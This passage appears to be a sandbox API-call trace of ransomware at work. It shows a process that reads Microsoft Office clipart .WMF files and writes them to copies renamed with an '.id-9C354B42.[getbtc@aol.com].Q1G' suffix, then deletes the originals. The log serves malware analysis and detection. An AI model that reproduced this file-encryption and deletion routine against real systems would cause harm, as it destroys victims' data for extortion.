(lpString=".bz2") returned 4 [0253.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.067] lstrlenW (lpString=".7z") returned 3 [0253.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.068] lstrlenW (lpString=".dbf") returned 4 [0253.068] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.068] lstrlenW (lpString=".1cd") returned 4 [0253.068] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0253.068] lstrlenW (lpString=".jpg") returned 4 [0253.068] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.068] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.068] lstrlenW (lpString="IN00343_.WMF") returned 12 [0253.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0253.086] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1892) returned 1 [0253.086] CloseHandle (hObject=0x3c4) returned 1 [0253.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 0x20 [0253.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.280] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.280] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.369] GetLastError () returned 0x0 [0253.369] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x764, lpOverlapped=0x0) returned 1 [0253.392] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x770, lpOverlapped=0x0) returned 1 [0253.393] ReadFile (in: hFile=0x324, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.393] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.393] SetEndOfFile (hFile=0x1fc) returned 1 [0253.393] CloseHandle (hObject=0x1fc) returned 1 [0253.393] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.393] SetEndOfFile (hFile=0x324) returned 1 [0253.395] CloseHandle (hObject=0x324) returned 1 [0253.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0253.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.571] lstrlenW (lpString=".doc") returned 4 [0253.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.571] lstrlenW (lpString=".docx") returned 5 [0253.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.571] lstrlenW (lpString=".pdf") returned 4 [0253.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.571] lstrlenW (lpString=".xls") returned 4 [0253.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.572] lstrlenW (lpString=".xlsx") returned 5 [0253.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.572] lstrlenW (lpString=".ppt") returned 4 [0253.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString=".zip") returned 4 [0253.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.572] lstrlenW (lpString=".rar") returned 4 [0253.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString=".bz2") returned 4 [0253.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString=".7z") returned 3 [0253.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString=".dbf") returned 4 [0253.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString=".1cd") returned 4 [0253.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString=".jpg") returned 4 [0253.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.572] lstrlenW (lpString=".doc") returned 4 [0253.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString=".docx") returned 5 [0253.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.572] lstrlenW (lpString=".pdf") returned 4 [0253.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString=".xls") returned 4 [0253.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.572] lstrlenW (lpString=".xlsx") returned 5 [0253.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.572] lstrlenW (lpString=".ppt") returned 4 [0253.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.573] lstrlenW (lpString=".zip") returned 4 [0253.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.573] lstrlenW (lpString=".rar") returned 4 [0253.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.573] lstrlenW (lpString=".bz2") returned 4 [0253.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.573] lstrlenW (lpString=".7z") returned 3 [0253.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.573] lstrlenW (lpString=".dbf") returned 4 [0253.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.573] lstrlenW (lpString=".1cd") returned 4 [0253.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0253.573] lstrlenW (lpString=".jpg") returned 4 [0253.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.573] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.573] lstrlenW (lpString="J0090089.WMF") returned 12 [0253.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.617] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15760) returned 1 [0253.617] CloseHandle (hObject=0x3a0) returned 1 [0253.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 0x20 [0253.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.681] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.681] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.682] GetLastError () returned 0x0 [0253.682] ReadFile (in: hFile=0x338, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3d90, lpOverlapped=0x0) returned 1 [0253.714] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3da0, lpOverlapped=0x0) returned 1 [0253.715] ReadFile (in: hFile=0x338, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.715] WriteFile (in: hFile=0x1fc, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.715] SetEndOfFile (hFile=0x1fc) returned 1 [0253.715] CloseHandle (hObject=0x1fc) returned 1 [0253.715] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.716] SetEndOfFile (hFile=0x338) returned 1 [0253.718] CloseHandle (hObject=0x338) returned 1 [0253.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0253.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.738] lstrlenW (lpString=".doc") returned 4 [0253.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.738] lstrlenW (lpString=".docx") returned 5 [0253.738] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.755] lstrlenW (lpString=".pdf") returned 4 [0253.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.755] lstrlenW (lpString=".xls") returned 4 [0253.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.755] lstrlenW (lpString=".xlsx") returned 5 [0253.755] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.755] lstrlenW (lpString=".ppt") returned 4 [0253.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.756] lstrlenW (lpString=".zip") returned 4 [0253.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.756] lstrlenW (lpString=".rar") returned 4 [0253.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.756] lstrlenW (lpString=".bz2") returned 4 [0253.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.768] lstrlenW (lpString=".7z") returned 3 [0253.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.768] lstrlenW (lpString=".dbf") returned 4 [0253.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.769] lstrlenW (lpString=".1cd") returned 4 [0253.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.769] lstrlenW (lpString=".jpg") returned 4 [0253.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.769] lstrlenW (lpString=".doc") returned 4 [0253.769] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.769] lstrlenW (lpString=".docx") returned 5 [0253.769] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0253.769] lstrlenW (lpString=".pdf") returned 4 [0253.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.769] lstrlenW (lpString=".xls") returned 4 [0253.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.769] lstrlenW (lpString=".xlsx") returned 5 [0253.769] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0253.769] lstrlenW (lpString=".ppt") returned 4 [0253.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.770] lstrlenW (lpString=".zip") returned 4 [0253.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.770] lstrlenW (lpString=".rar") returned 4 [0253.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.770] lstrlenW (lpString=".bz2") returned 4 [0253.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.770] lstrlenW (lpString=".7z") returned 3 [0253.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.770] lstrlenW (lpString=".dbf") returned 4 [0253.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.770] lstrlenW (lpString=".1cd") returned 4 [0253.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF") returned 63 [0253.770] lstrlenW (lpString=".jpg") returned 4 [0253.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.770] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.770] lstrlenW (lpString="J0090783.WMF") returned 12 [0253.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.771] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6934) returned 1 [0253.771] CloseHandle (hObject=0x200) returned 1 [0253.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 0x20 [0253.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.771] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.771] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.772] GetLastError () returned 0x0 [0253.772] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b16, lpOverlapped=0x0) returned 1 [0253.782] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0253.783] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.783] WriteFile (in: hFile=0x338, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.783] SetEndOfFile (hFile=0x338) returned 1 [0253.783] CloseHandle (hObject=0x338) returned 1 [0253.783] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.784] SetEndOfFile (hFile=0x200) returned 1 [0253.786] CloseHandle (hObject=0x200) returned 1 [0253.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0253.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.787] lstrlenW (lpString=".doc") returned 4 [0253.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.787] lstrlenW (lpString=".docx") returned 5 [0253.787] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0253.787] lstrlenW (lpString=".pdf") returned 4 [0253.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.787] lstrlenW (lpString=".xls") returned 4 [0253.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.787] lstrlenW (lpString=".xlsx") returned 5 [0253.787] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0253.787] lstrlenW (lpString=".ppt") returned 4 [0253.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.787] lstrlenW (lpString=".zip") returned 4 [0253.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.787] lstrlenW (lpString=".rar") returned 4 [0253.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.787] lstrlenW (lpString=".bz2") returned 4 [0253.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.787] lstrlenW (lpString=".7z") returned 3 [0253.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.787] lstrlenW (lpString=".dbf") returned 4 [0253.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".1cd") returned 4 [0253.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".jpg") returned 4 [0253.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".doc") returned 4 [0253.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString=".docx") returned 5 [0253.788] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0253.788] lstrlenW (lpString=".pdf") returned 4 [0253.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString=".xls") returned 4 [0253.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.788] lstrlenW (lpString=".xlsx") returned 5 [0253.788] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0253.788] lstrlenW (lpString=".ppt") returned 4 [0253.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".zip") returned 4 [0253.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.788] lstrlenW (lpString=".rar") returned 4 [0253.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString=".bz2") returned 4 [0253.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString=".7z") returned 3 [0253.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".dbf") returned 4 [0253.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0253.788] lstrlenW (lpString=".1cd") returned 4 [0253.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 